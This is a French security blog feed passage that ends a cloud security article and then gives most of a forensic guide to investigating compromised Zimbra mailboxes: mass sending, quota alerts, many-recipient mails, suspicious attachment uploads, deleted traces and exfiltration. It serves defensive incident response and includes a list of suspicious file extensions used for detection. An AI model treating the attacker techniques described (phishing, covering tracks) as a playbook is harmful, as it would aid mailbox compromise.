niveau de protection avec le niveau de risque</em></figcaption></figure>
<p> </p>
<p>Afin de protéger le <strong>cœur de confiance restreint</strong>, représenté par les triples cadenas, il est recommandé de mettre en œuvre les <strong>facteurs d’authentification les plus robustes</strong>. Cela inclut l’utilisation d’un compte dédié à l’administration cloud, l’activation d’une authentification multifactorielle physique (exemple : clé de sécurité FIDO2) et le recours à un poste de travail spécifiquement réservé aux opérations sur ce cœur de confiance.</p>
<p>Pour les <strong>ressources plus éloignées</strong> du centre du cœur de confiance, symbolisées par les doubles cadenas, un <strong>niveau de sécurité durci, mais proportionné</strong> peut être appliqué, afin de renforcer la protection pour maitriser les coûts et réduire les contraintes excessives aux utilisateurs concernés.</p>
<p>Finalement, les <strong>méthodes les plus sécurisées sont également celles qui impliquent le plus de contraintes aux personnes concernées</strong>. Il faut maitriser les usages et prendre en compte des situations d’urgence, comme une intervention en astreinte nécessitant des privilèges très élevés.</p>
<p> </p>
<h3>Répéter les opérations</h3>
<p>À l’issue des phases d’identification et de protection, les ressources seront réparties dans les différentes couches du cœur de confiance.</p>
<p>Pour vérifier la bonne implémentation du cœur de confiance, un <strong>audit peut être conduit pour vérifier la bonne protection des ressources</strong> critiques qui le compose.</p>
<p>Un système d’information est toujours en évolution, mais les deux premières phases auront été faites à un instant <em>t</em>. De <strong>nouvelles ressources critiques peuvent être ajoutées, d’autres modifiées, voire supprimées</strong>. Il est primordial de <strong>refaire une évaluation régulière de son SI </strong>et de mettre à jour la répartition des ressources dans le cœur de confiance.</p>
<h2> </h2>
<p>En conclusion, la sécurité des systèmes d’information s’inscrit désormais dans un contexte de complexité croissante et de forte diversification des composants et services d’infrastructures.</p>
<p>Dans ce contexte, il apparaît de plus en plus complexe de définir un modèle de sécurité universel. Certains cadres conservent toute leur pertinence sur des périmètres bien identifiés : le tiering reste une référence pour la sécurisation de l’Active Directory, tout comme l’EAM pour des environnements Cloud fortement centrés sur l’écosystème Microsoft. Néanmoins, ces modèles atteignent rapidement leurs limites dès lors que l’on s’éloigne de ces cas d’usage spécifiques.</p>
<p>Pour la majorité des systèmes d’information, une approche fondée sur l’analyse des risques s’impose donc comme la plus pertinente. Identifier un cœur de confiance, définir clairement les actifs critiques <em>— les crown jewels —</em> et décliner les mesures de sécurité à partir de ces éléments permet de construire une posture de sécurité plus pragmatique, adaptée à la réalité du SI et capable d’évoluer avec lui.</p>
<p>Cette logique, moins normative mais plus contextualisée, constitue sans doute l’un des leviers majeurs pour concilier sécurité, agilité et pérennité des systèmes d’information.</p>






<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/">Sécurité orientée cloud : Adaptation à une nouvelle réalité</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Compromission de boîte mail Zimbra : de l’analyse à la remédiation (Partie 2)</title>
		<link>https://www.riskinsight-wavestone.com/2026/01/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-2/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/01/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-2/#respond</comments>
		
		<dc:creator><![CDATA[Evenson Jeunesse]]></dc:creator>
		<pubDate>Wed, 07 Jan 2026 09:42:54 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Amavis]]></category>
		<category><![CDATA[CERT]]></category>
		<category><![CDATA[CERT-W]]></category>
		<category><![CDATA[compromission]]></category>
		<category><![CDATA[forensic]]></category>
		<category><![CDATA[Incident response]]></category>
		<category><![CDATA[incident response CERT-W]]></category>
		<category><![CDATA[Investigation]]></category>
		<category><![CDATA[Réponse à incident]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[SPF]]></category>
		<category><![CDATA[Spoofing]]></category>
		<category><![CDATA[Zimbra]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28600</guid>

					<description><![CDATA[<p>Il est temps d’entamer la seconde partie de notre investigation Zimbra. Si vous n’avez pas encore lu la première partie, il est vivement recommandé de de commencer ICI avant de poursuivre. Dans cette nouvelle partie, nous partirons du principe qu’un...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/01/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-2/">Compromission de boîte mail Zimbra : de l’analyse à la remédiation (Partie 2)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Il est temps d’entamer la seconde partie de notre investigation Zimbra. Si vous n’avez pas encore lu la première partie, il est vivement recommandé de de commencer <a href="https://www.riskinsight-wavestone.com/2025/12/compromission-de-boite-mail-zimbra-de-lanalyse-a-la-remediation-partie-1/"><span style="color: #000080;">ICI</span> </a>avant de poursuivre.</p>
<p style="text-align: justify;">Dans cette nouvelle partie, nous partirons du principe qu’un attaquant est parvenu à compromettre un compte Zimbra et que nous avons déjà identifié son point d’entrée (accès initial). Nous allons désormais analyser comment exploiter les journaux Zimbra pour identifier les actions malveillantes que l’attaquant aurait pu réaliser à partir de ses accès. Nous verrons ensuite quelles mesures de remédiation mettre en place pour prévenir ce type d’incident et y répondre efficacement.</p>
<p style="text-align: justify;">Installez-vous confortablement (et assurez-vous que votre café est encore chaud) : entrons sans plus attendre dans le vif du sujet !</p>
<p> </p>
<h2>Investiguer dans un environnement Zimbra</h2>
<p style="text-align: justify;">Maintenant que l’infrastructure et les journaux Zimbra n’ont <strong>plus de secrets pour vous,</strong> c’est le moment de <strong>passer au concret</strong>.</p>
<p style="text-align: justify;">Imaginez que vous êtes un analyste forensique, arrivé en avance de bon matin, quand soudain : <strong>le téléphone sonne</strong>. On vous appelle car plusieurs utilisateurs signalent que des courriels <strong>qu’ils n’auraient pas envoyés</strong> apparaissent dans leur dossier «<em>Envoyés</em>».</p>
<p style="text-align: justify;"><strong>C’est la panique générale</strong> !  Les utilisateurs n’osent plus se connecter à leur boîte mail et certains administrateurs commencent à se demander si <strong>l’infrastructure Zimbra elle-même</strong> ne serait pas <strong>compromise</strong>.</p>
<p style="text-align: justify;">Puisque vous maîtrisez Zimbra comme personne, c’est naturellement vers vous que l’équipe se tourne pour <strong>élucider cet incident</strong> !</p>
<p style="text-align: justify;">En tant qu’analyste forensique, beaucoup de questions vous viennent à l’esprit :</p>
<ul style="text-align: justify;">
<li><em>Est-ce que les comptes ont réellement été compromis ? Si oui, comment et depuis quand ?</em></li>
<li><em>Combien d’utilisateurs sont affectés ?</em></li>
<li><em>Quel est l’objectif de l’attaquant et quelles actions malveillantes ont été menées depuis ces comptes ?</em></li>
<li><em>Le serveur de messagerie ou d’autres composants Zimbra ont-ils été compromis ?</em></li>
<li><strong><em>Et, surtout</em></strong><em> : ai-je le temps de prendre un café </em><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2615.png" alt="☕" class="wp-smiley" style="height: 1em; max-height: 1em;" /><em> avant que la chasse aux informations ne commence ? </em></li>
</ul>
<p style="text-align: justify;">Afin de vous aider dans vos investigations, nous allons voir ensemble comment apporter des éléments de réponses via l’analyse des journaux Zimbra. Mais avant cela, voici un ensemble de conseils pour vous aider dans vos investigations</p>
<p style="text-align: justify;">Lors d’une réponse à incidents, il est facile de se sentir <strong>submergé</strong> par la <strong>quantité</strong> <strong>de journaux</strong> et <strong>d’événements</strong> à analyser. Il est donc important de garder un <strong>fil conducteur. </strong>Quelques réflexes simples permettent de ne pas perdre le cap :</p>
<ul style="text-align: justify;">
<li><strong>Confirmer</strong> : Vérifier les informations ayant mené à l’incident. Avant d’avancer dans les investigations, il faut s’assurer de la véracité de l’élément déclencheur. Cette base indéniable servira de pilier pour l’ensemble de l’investigation.</li>
<li><strong>Corréler </strong>: recouper les adresses IP et domaines suspectes avec d’autres sources (proxy, VPN, EDR, bases antivirales en ligne). Cela permet d’obtenir des informations complémentaires en relation avec l&rsquo;indicateur identifié.</li>
<li><strong>Pivoter </strong>: exploiter les informations collectées pour élargir l’analyse. Un attaquant peut par exemple réutiliser la même adresse IP ou le même user-agent pour cibler plusieurs comptes. À l’inverse, un compte compromis peut être utilisé depuis des adresses IP ou des user-agents différents. Pivoter permet de révéler d’autres indicateurs permettant d&rsquo;identifier l&rsquo;attaquant.</li>
<li><strong>Comparer les motifs </strong>: même sans accéder directement au contenu des courriels ou des pièces jointes, certains éléments peuvent révéler des similitudes (taille, nom de fichier identique, séquence d’actions répétée après la compromission d’un compte). Cette approche d’analyse comportementale peut aider à identifier plusieurs utilisateurs compromis par un même attaquant. Ces hypothèses doivent être formulées et manipulées avec prudence mais elles peuvent s’avérer intéressantes pour confirmer une intuition.</li>
<li><strong>Assurer la conservation des journaux </strong>: Cela peut sembler évident, mais dès la détection de l’incident, il est important de sécuriser la conservation des journaux. Cela passe par la collecte immédiate des logs sur l’ensemble de l’infrastructure Zimbra mais aussi par l’allongement de la période rétention pour éviter toute suppression automatique. Car soyons honnêtes : les logs qui disparaissent pile au moment où l’équipe forensique arrive, c’est malheureusement un grand classique… et une mésaventure dont vous vous passerez bien.</li>
</ul>
<p style="text-align: justify;">Même si ces conseils ne sont <strong>pas exhaustifs</strong>, ils offrent une bonne base pour réaliser une analyse à la fois <strong>rapide</strong> et <strong>complète</strong>.</p>
<p> </p>
<h2>Activité post compromission</h2>
<h3>Analyse des actions utilisateur</h3>
<p style="text-align: justify;"><strong>Quelle maîtrise !</strong> Vous avez réussi à remonter jusqu’au point d’entrée initial emprunté par l’attaquant pour compromettre les comptes utilisateurs. Vous avez identifié les adresses IP malveillantes, repéré l’User-Agent utilisé, et même débusqué d’autres comptes compromis grâce à ces informations. Bref, du travail propre et efficace. Impressionnant !</p>
<p style="text-align: justify;">Mais…. nous n’avons pas encore répondu une question cruciale : « <em>Quel était l’objectif de l’attaquant et quelles actions a-t-il menées depuis les comptes compromis ? </em><strong>»</strong></p>
<p style="text-align: justify;">Pour le découvrir, il va maintenant falloir analyser <strong>l’activité de l’attaquant à l’intérieur de l’infrastructure Zimbra</strong>. Une fois authentifié, un attaquant peut en effet :</p>
<ul style="text-align: justify;">
<li>Lancer une <strong>campagne de phishing interne ou externe</strong></li>
<li>Envoyer des messages visant à pousser un collègue, partenaire ou client à l’action (fraude au président, demande urgente fictive, etc.)</li>
<li><strong>Exfiltrer des données sensibles</strong> depuis les boîtes mail</li>
</ul>
<p style="text-align: justify;">Dans cette section, nous examinerons <strong>quelques exemples d’activités suspectes</strong> qui peuvent être identifiées à partir des journaux Zimbra.</p>
<p> </p>
<h4>Envoi d&rsquo;un grand nombre de courriels sur une courte période</h4>
<p style="text-align: justify;">Vous souhaitez déterminer si des comptes compromis ont été utilisés <strong>pour mener d&rsquo;autres tentatives de phishing </strong>en envoyant des <strong>e-mails</strong><strong> en masse</strong> à des <strong>destinataires internes</strong> ou <strong>externes</strong>. Malheureusement, Zimbra ne propose pas d&rsquo;événement natif vous permettant de récupérer directement cette information. Cependant, une petite commande <strong><em>grep</em></strong> vous permettra de parvenir à vos fins.</p>
<p style="text-align: justify;">La commande ci-dessous permet d’extraire <strong>le nombre de messages envoyés par chaque utilisateur</strong> sur une période précise (ici du <strong>21 au 27 novembre 2025</strong>) :</p>
<figure id="attachment_28660" aria-describedby="caption-attachment-28660" style="width: 1377px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28660" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Recuperation-du-nombre-de-courriels-envoyes-par-utilisateur-mailbox.log_.png" alt="Récupération du nombre de courriels envoyés par utilisateur (mailbox.log)" width="1377" height="444" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Recuperation-du-nombre-de-courriels-envoyes-par-utilisateur-mailbox.log_.png 1377w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Recuperation-du-nombre-de-courriels-envoyes-par-utilisateur-mailbox.log_-437x141.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Recuperation-du-nombre-de-courriels-envoyes-par-utilisateur-mailbox.log_-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Recuperation-du-nombre-de-courriels-envoyes-par-utilisateur-mailbox.log_-768x248.png 768w" sizes="auto, (max-width: 1377px) 100vw, 1377px" /><figcaption id="caption-attachment-28660" class="wp-caption-text"><em>Récupération du nombre de courriels envoyés par utilisateur (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Dans cet exemple, <strong><em>user25@wavestone.corp</em></strong> <strong>se démarque</strong> clairement avec un volume d’envoi <strong>largement supérieur à la normale</strong>. Un <strong>volume anormalement élevé</strong> de courriels émis par une boîte aux lettres sur une<strong> période courte</strong> constitue une <strong>activité suspecte</strong>.</p>
<p style="text-align: justify;">Dans un usage légitime, les envois massifs de courriels restent relativement rares et sont généralement associés à des <strong>adresses génériques</strong> ou à des <strong>systèmes de communication interne</strong> (ex. newsletters, annonces RH). Lorsqu’un <strong>compte utilisateur classique</strong> présente ce type de comportement, il est important :</p>
<ul style="text-align: justify;">
<li>D’identifier si c&rsquo;est une activité normale et récurrente de l&rsquo;utilisateur</li>
<li>De vérifier la plage horaire, l&rsquo;adresse IP et l&rsquo;user-agent d’émission</li>
<li>De vérifier si des pièces jointes suspectes ont été associées aux envois</li>
</ul>
<p style="text-align: justify;">Un envoi massif de courriels peut entraîner le déclenchement de <strong>mécanismes de protection</strong> intégrés à Zimbra, notamment les règles de <strong>quota</strong>. Ces seuils ont pour but de limiter le volume de messages émis par un compte sur une période donnée afin de prévenir l’abus, le <strong>spam</strong> ou les <strong>campagnes de phishing</strong>.</p>
<p style="text-align: justify;">Les deux commandes ci-dessous vous permettent de récupérer les événements liés aux dépassements de quota :</p>
<figure id="attachment_28662" aria-describedby="caption-attachment-28662" style="width: 1378px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28662" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Recuperation-des-depassements-de-quota-mailbox.log_.png" alt="Récupération des dépassements de quota (mailbox.log)" width="1378" height="146" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Recuperation-des-depassements-de-quota-mailbox.log_.png 1378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Recuperation-des-depassements-de-quota-mailbox.log_-437x46.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Recuperation-des-depassements-de-quota-mailbox.log_-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Recuperation-des-depassements-de-quota-mailbox.log_-768x81.png 768w" sizes="auto, (max-width: 1378px) 100vw, 1378px" /><figcaption id="caption-attachment-28662" class="wp-caption-text"><em>Récupération des dépassements de quota (mailbox.log)</em></figcaption></figure>
<figure id="attachment_28664" aria-describedby="caption-attachment-28664" style="width: 1375px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28664" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Recuperation-des-depassements-de-quota-mail.log_.png" alt="Récupération des dépassements de quota (mail.log)" width="1375" height="187" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Recuperation-des-depassements-de-quota-mail.log_.png 1375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Recuperation-des-depassements-de-quota-mail.log_-437x59.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Recuperation-des-depassements-de-quota-mail.log_-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Recuperation-des-depassements-de-quota-mail.log_-768x104.png 768w" sizes="auto, (max-width: 1375px) 100vw, 1375px" /><figcaption id="caption-attachment-28664" class="wp-caption-text"><em>Récupération des dépassements de quota (mail.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">L’apparition de messages d’erreur liés au dépassement de quota constitue un signal à <strong>ne pas ignorer</strong>, car :</p>
<ul style="text-align: justify;">
<li>Soit l’utilisateur légitime a dépassé accidentellement un quota</li>
<li>Soit le compte est utilisé de manière frauduleuse pour effectuer des envois massifs</li>
</ul>
<p style="text-align: justify;">Cet indicateur pouvant générer un <strong>grand nombre de faux positifs</strong>, il est recommandé de le <strong>corréler avec d’autres éléments</strong> afin d’en tirer des conclusions.</p>
<p style="text-align: justify;"> </p>
<h4>Envoi d&rsquo;un courriel à un grand nombre de destinataires</h4>
<p style="text-align: justify;">Pour éviter de déclencher une alerte de dépassement de quota, un attaquant averti peut adopter une stratégie plus « <em>subtile</em> ». Plutôt que d’envoyer des <strong>dizaines de courriels individuels</strong> (méthode bruyante), il peut choisir d’envoyer un <strong>unique message adressé à une longue liste de destinataires</strong>. Une manière d’optimiser son phishing.</p>
<p style="text-align: justify;">Heureusement pour vous, les journaux Zimbra permettent d’identifier le <strong>nombre de destinataires</strong> associés à chaque envoi, ce qui rend ce type de manœuvre détectable sans trop d’efforts.</p>
<p style="text-align: justify;">Les commandes ci-dessous permettent d&rsquo;identifier les e-mails envoyés à un <strong>grand nombre de destinataires </strong>:</p>
<figure id="attachment_28666" aria-describedby="caption-attachment-28666" style="width: 1377px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28666" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Recuperation-des-mails-envoyes-a-plus-de-100-destinataires-mail.log_.png" alt="Récupération des mails envoyés à plus de 100 destinataires (mail.log)" width="1377" height="144" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Recuperation-des-mails-envoyes-a-plus-de-100-destinataires-mail.log_.png 1377w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Recuperation-des-mails-envoyes-a-plus-de-100-destinataires-mail.log_-437x46.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Recuperation-des-mails-envoyes-a-plus-de-100-destinataires-mail.log_-71x7.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Recuperation-des-mails-envoyes-a-plus-de-100-destinataires-mail.log_-768x80.png 768w" sizes="auto, (max-width: 1377px) 100vw, 1377px" /><figcaption id="caption-attachment-28666" class="wp-caption-text"><em>Récupération des mails envoyés à plus de 100 destinataires (mail.log)</em></figcaption></figure>
<figure id="attachment_28668" aria-describedby="caption-attachment-28668" style="width: 1371px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28668" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Recuperation-des-mails-envoyes-a-plus-de-100-destinataires-mailbox.log_.png" alt="Récupération des mails envoyés à plus de 100 destinataires (mailbox.log)" width="1371" height="185" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Recuperation-des-mails-envoyes-a-plus-de-100-destinataires-mailbox.log_.png 1371w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Recuperation-des-mails-envoyes-a-plus-de-100-destinataires-mailbox.log_-437x59.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Recuperation-des-mails-envoyes-a-plus-de-100-destinataires-mailbox.log_-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Recuperation-des-mails-envoyes-a-plus-de-100-destinataires-mailbox.log_-768x104.png 768w" sizes="auto, (max-width: 1371px) 100vw, 1371px" /><figcaption id="caption-attachment-28668" class="wp-caption-text"><em>Récupération des mails envoyés à plus de 100 destinataires (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Ici vous pouvez observer que l’utilisateur <strong><em>user25@wavestone.corp</em></strong> a envoyé un mail à <strong><em>211 </em>destinataires</strong>. Ce type de comportement est plutôt suspect.</p>
<p style="text-align: justify;">En pratique, il est rare qu’une <strong>adresse électronique personnelle</strong> envoie des messages à plusieurs dizaines de destinataires simultanément. Ce comportement est davantage associé à des <strong>boîtes aux lettres partagées</strong> ou les <strong>adresses génériques</strong> (ex. communication interne, service RH, annonces institutionnelles). Lorsqu’un compte utilisateur classique présente ce type de comportement, il est important :</p>
<ul style="text-align: justify;">
<li>D’identifier les pratiques de communication habituelles dans l’organisation</li>
<li>D’identifier si c&rsquo;est une activité normale et récurrente de l&rsquo;utilisateur </li>
<li>De vérifier la plage horaire, l&rsquo;adresse IP et l&rsquo;user-agent d’émission</li>
<li>De vérifier si des pièces jointes suspectes ont été associées aux envois</li>
</ul>
<p style="text-align: justify;">Afin de gagner du temps, il est également possible de <strong>valider directement auprès de l’utilisateur</strong> si l’envoi du courriel était légitime.</p>
<p style="text-align: justify;">L’exemple présenté ici permet d’identifier les mails comptant <strong>plus de 100 destinataires</strong>. Toutefois, selon ce que vous considérez comme un <strong>volume légitime</strong> et en fonction de la <strong>période </strong>couverte par les journaux analysés, <strong>ce seuil doit être</strong> <strong>adapté</strong> <strong>au</strong> <strong>contexte</strong> de votre recherche.</p>
<p style="text-align: justify;"> </p>
<h4>Téléversement de pièces jointes suspectes</h4>
<p style="text-align: justify;">Contrairement à la réception, le <strong>téléversement de pièces jointes suspectes</strong> et mieux journalisé par Zimbra. Chaque fois qu’un utilisateur joint un fichier à un nouveau courriel, Zimbra note soigneusement l’opération dans ses journaux.</p>
<p style="text-align: justify;">Grâce aux commandes ci-dessous, vous pouvez retrouver les <strong>pièces jointes attachées aux courriels </strong>par un éventuel utilisateur compromis :</p>
<figure id="attachment_28670" aria-describedby="caption-attachment-28670" style="width: 1374px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28670" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Recuperation-des-evenements-de-televersement-de-piece-jointe-mailbox.log-1-2.png" alt="Récupération des évènements de téléversement de pièce jointe (mailbox.log) (1/2)" width="1374" height="184" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Recuperation-des-evenements-de-televersement-de-piece-jointe-mailbox.log-1-2.png 1374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Recuperation-des-evenements-de-televersement-de-piece-jointe-mailbox.log-1-2-437x59.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Recuperation-des-evenements-de-televersement-de-piece-jointe-mailbox.log-1-2-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Recuperation-des-evenements-de-televersement-de-piece-jointe-mailbox.log-1-2-768x103.png 768w" sizes="auto, (max-width: 1374px) 100vw, 1374px" /><figcaption id="caption-attachment-28670" class="wp-caption-text"><em>Récupération des évènements de téléversement de pièce jointe (mailbox.log) (1/2)</em></figcaption></figure>
<figure id="attachment_28672" aria-describedby="caption-attachment-28672" style="width: 1377px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28672" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Recuperation-des-evenements-de-televersement-de-piece-jointe-mailbox.log-2-2.png" alt="Récupération des évènements de téléversement de pièce jointe (mailbox.log) (2/2)" width="1377" height="147" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Recuperation-des-evenements-de-televersement-de-piece-jointe-mailbox.log-2-2.png 1377w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Recuperation-des-evenements-de-televersement-de-piece-jointe-mailbox.log-2-2-437x47.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Recuperation-des-evenements-de-televersement-de-piece-jointe-mailbox.log-2-2-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Recuperation-des-evenements-de-televersement-de-piece-jointe-mailbox.log-2-2-768x82.png 768w" sizes="auto, (max-width: 1377px) 100vw, 1377px" /><figcaption id="caption-attachment-28672" class="wp-caption-text"><em>Récupération des évènements de téléversement de pièce jointe (mailbox.log) (2/2)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">De la même manière que pour la réception de pièces jointes malveillantes, vous pourrez notamment rechercher dans les journaux :</p>
<ul style="text-align: justify;">
<li>le téléversement de <strong>pièces jointes aux extensions suspectes</strong> (ex. .htm, .html, .exe, .js, .arj, .iso, .bat, .ps1, ou encore des documents Office/PDF contenant des macros)</li>
<li>les fichiers <strong>déjà observés en amont</strong> lors des premières phases de l’incident (par exemple un document téléchargé par le patient zéro)</li>
<li>à corréler les activités de téléversement avec les adresses IP sources malveillantes ou les comptes identifiés comme compromis.</li>
</ul>
<p style="text-align: justify;">Cette liste n’étant <strong>pas exhaustive</strong>, il peut être pertinent de rechercher tout type de fichier qui vous semble adapté au <strong>contexte de votre investigation</strong>.</p>
<p style="text-align: justify;"> </p>
<h4>Suppression des traces</h4>
<p style="text-align: justify;">A présent que vous avez une bonne image de ce que l’attaquant a fait avec les comptes compromis. Vous êtes déçus car vous n’arrivez pas à <strong>retrouver les mails en question</strong>. Vous suspectez que l’attaquant a <strong>effacé ses traces</strong>. Mais comment le vérifier ?</p>
<p style="text-align: justify;">En effet après avoir envoyés des mails malveillant un attaquant averti peut tenter de <strong>dissimuler les traces</strong> auprès de l’utilisateur légitime de la boîte mail en <strong>supprimant les mails envoyés</strong> ou <strong>reçus</strong> <strong>en retour</strong>.</p>
<p style="text-align: justify;">Heureusement ces commandes permettront d’identifier les<strong> suppressions de mails </strong>effectuées dans Zimbra :</p>
<figure id="attachment_28680" aria-describedby="caption-attachment-28680" style="width: 1373px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28680" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/8-Recuperation-des-deplacements-dans-la-corbeille-mailbox.log_.png" alt="Récupération des déplacements dans la corbeille (mailbox.log)" width="1373" height="361" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/8-Recuperation-des-deplacements-dans-la-corbeille-mailbox.log_.png 1373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/8-Recuperation-des-deplacements-dans-la-corbeille-mailbox.log_-437x115.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/8-Recuperation-des-deplacements-dans-la-corbeille-mailbox.log_-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/8-Recuperation-des-deplacements-dans-la-corbeille-mailbox.log_-768x202.png 768w" sizes="auto, (max-width: 1373px) 100vw, 1373px" /><figcaption id="caption-attachment-28680" class="wp-caption-text"><em>Récupération des déplacements dans la corbeille (mailbox.log)</em></figcaption></figure>
<figure id="attachment_28682" aria-describedby="caption-attachment-28682" style="width: 1375px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28682" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/9-Recuperation-suppressions-definitives-mail.log_.png" alt="Récupération suppressions définitives (mail.log)" width="1375" height="364" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/9-Recuperation-suppressions-definitives-mail.log_.png 1375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/9-Recuperation-suppressions-definitives-mail.log_-437x116.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/9-Recuperation-suppressions-definitives-mail.log_-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/9-Recuperation-suppressions-definitives-mail.log_-768x203.png 768w" sizes="auto, (max-width: 1375px) 100vw, 1375px" /><figcaption id="caption-attachment-28682" class="wp-caption-text"><em>Récupération suppressions définitives (mail.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Dans un usage légitime, il n’est pas rare qu’un utilisateur <strong>supprime plusieurs courriels</strong> (ex. nettoyage de boîte de réception, gestion de newsletters). Cependant, la situation devient <strong>anormale</strong> lorsque la suppression intervient :</p>
<ul style="text-align: justify;">
<li><strong>Immédiatement </strong>après un <strong>envoi massif de mails</strong></li>
<li>Qu’elle cible spécifiquement les <strong>derniers messages envoyés</strong></li>
</ul>
<p style="text-align: justify;">Dans votre investigation, il faut garder en tête qu’un attaquant pourra également chercher à supprimer :</p>
<ul style="text-align: justify;">
<li>Les <strong>accusés de réception</strong> générés par ses envois</li>
<li>Les <strong>réponses automatiques</strong> (out-of-office, NDR) qui pourraient alerter la victime</li>
</ul>
<p style="text-align: justify;">Il est donc important de ne pas négliger les suppressions et de le <strong>corréler avec d’autres indicateurs</strong> (authentifications suspectes, envoi massif, dépassement de quota, connexions depuis des IP malveillante) afin d’évaluer la <strong>légitimité</strong> <strong>de ces dernières</strong>.</p>
<p> </p>
<h4>Exfiltration de données</h4>
<p style="text-align: justify;"><strong>Une question vous taraude encore</strong>… parmi les comptes compromis, certains appartenaient à des utilisateurs manipulant <strong>des données sensibles pour l’entreprise</strong>. Vous souhaitez donc déterminer si l’attaquant a tenté d’<strong>exfiltrer</strong> certains messages auxquels il a eu accès.</p>
<p style="text-align: justify;">Malheureusement pour vous, <strong>Zimbra ne journalise pas le téléchargement direct des mails</strong>. Après tout, la récupération via <strong>IMAP </strong>ou <strong>SMTP</strong>, consiste en réalité à un “<em>téléchargement</em>” du serveur vers le client mail. Il est donc difficile différencier un <strong>tranfert classique</strong> d’un <strong>téléchargement</strong>. Et du côté des logs Nginx (qui exposent le Webmail), même constat, impossible d’identifier précisément qu’un mail a été téléchargé.</p>
